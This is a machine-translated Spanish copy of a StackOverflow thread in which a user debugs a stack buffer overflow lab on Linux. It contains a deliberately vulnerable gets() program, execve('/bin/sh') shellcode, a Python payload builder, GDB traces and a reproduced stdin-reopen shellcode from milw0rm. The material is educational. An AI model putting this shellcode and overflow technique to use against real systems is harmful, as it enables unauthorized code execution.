Shellcode para un simple desbordamiento de pila: Explotados programa con termina la cáscara directamente después de execve ( “/ bin / sh”)

StackOverflow https://stackoverflow.com/questions/2859127

Pregunta

He jugado un poco con desbordamientos de búfer en Linux (AMD64) y trató de explotar un programa simple, pero fracasó. He desactivado las funciones de seguridad (dirección de espacio de aleatorización diseño con sysctl -w kernel.randomize_va_space = 0 y el bit NX en el BIOS). Salta a la pila y ejecuta el código shell, pero no se inicia una concha. La llamada al sistema execve tiene éxito pero después simplemente termina. ¿Alguna idea de lo que está mal? Ejecutar el código shell independiente funciona muy bien.

Bono pregunta: ¿Por qué necesito conjunto rax a cero antes de llamar a printf? (Véase el comentario en el código)

archivo vulnerable buffer.s

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax 
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

Compilado con:

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

Introducción a:

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328

La depuración con GDB:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.
¿Fue útil?

Solución

Estoy teniendo más o menos el mismo problema en este momento con Ubuntu 9.10 en una máquina virtual. todas las medidas de seguridad del sistema operativo de movilidad y exploits simples como "salir del programa y el conjunto de salida de código de 42" hacer el trabajo, pero al intentar abrir un shell, el programa simplemente termina. Salida de GDB es idéntica:

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8

Enter password: Sorry. Wrong password.
Executing new program: /bin/bash

Program exited normally.
(gdb)

La cosa es que lo necesito trabajar en aprox. 16 horas para una :-D presentación


Actualización: He encontrado este estudio ordenada: www.shell-storm.org/papers/files/539.pdf

En la página 16 se dice: "Si tratamos de ejecutar una concha, se termina inmediatamente en esta configuración"

En otros ejemplos que no lo hacen uso gets (), lo hacen muy bien desovan una concha. Por desgracia, no dan una pista sobre por qué no funciona de esa manera. : (


Próxima actualización: Parece que tiene que ver con la entrada estándar. La cáscara no puede usar adecuadamente el que obtiene del proceso original. He intentado utilizar una cáscara mínimo encontré el código fuente de (evilsh). Se estrelló en el punto donde se trató de leer la entrada. Mi conjetura es, que los controles bash / guión de este y salidas simplemente en silencio cuando algo está mal con la entrada estándar.


Ok por favor no me mate por tener esta conversación conmigo mismo aquí, pero ...

He encontrado una solución!

Por alguna razón, es necesario volver a abrir las entradas. Me encontré con un código shell trabajar aquí:

http://www.milw0rm.com/shellcode/2040

No veo un duro del sistema, pero puede ejecutar programas, etc. usando la cáscara que se abre.

Otros consejos

El enlace proporcionado por Zenoc está muerto, pero aún se puede encontrar en la máquina de Wayback. Para mayor comodidad, he reproducido a continuación. He tenido que incluir add $0x10,%esp en la parte superior de darme más espacio de pila, ya que todos los pushes en el código comieron en el búfer donde se almacenaba mi código shell. Si desea incluir a que el código shell también, sólo tiene que añadir "\ x83 \ XC4 \ x10" al principio. El código shell es de 55 bytes sin mi Además, y con el 58.

/*
 * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
 *
 * gets-linux.c - stdin re-open shellcode for Linux/x86
 * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
 * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
 * Useful to exploit some gets() buffer overflows in an elegant way...
 */

/*
 * close(0) 
 *
 * 8049380:       31 c0                   xor    %eax,%eax
 * 8049382:       31 db                   xor    %ebx,%ebx
 * 8049384:       b0 06                   mov    $0x6,%al
 * 8049386:       cd 80                   int    $0x80
 *
 * open("/dev/tty", O_RDWR | ...)
 *
 * 8049388:       53                      push   %ebx
 * 8049389:       68 2f 74 74 79          push   $0x7974742f
 * 804938e:       68 2f 64 65 76          push   $0x7665642f
 * 8049393:       89 e3                   mov    %esp,%ebx
 * 8049395:       31 c9                   xor    %ecx,%ecx
 * 8049397:       66 b9 12 27             mov    $0x2712,%cx
 * 804939b:       b0 05                   mov    $0x5,%al
 * 804939d:       cd 80                   int    $0x80
 *
 * execve("/bin/sh", ["/bin/sh"], NULL)
 *
 * 804939f:       31 c0                   xor    %eax,%eax
 * 80493a1:       50                      push   %eax
 * 80493a2:       68 2f 2f 73 68          push   $0x68732f2f
 * 80493a7:       68 2f 62 69 6e          push   $0x6e69622f
 * 80493ac:       89 e3                   mov    %esp,%ebx
 * 80493ae:       50                      push   %eax
 * 80493af:       53                      push   %ebx
 * 80493b0:       89 e1                   mov    %esp,%ecx
 * 80493b2:       99                      cltd   
 * 80493b3:       b0 0b                   mov    $0xb,%al
 * 80493b5:       cd 80                   int    $0x80
 */

char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

main()
{
    int (*f)() = (int (*)())sc; f();
}

// milw0rm.com [2006-07-20]

Nota:. No podría añadir esto como una edición a la respuesta de Zenoc porque la cola está llena de edición

Si usted está teniendo problemas para la localización de la dirección de su código shell debido a las diferentes pilas en el terminal y gdb, echar un vistazo a mi respuesta aquí.

Licenciado bajo: CC-BY-SA con atribución
No afiliado a StackOverflow
scroll top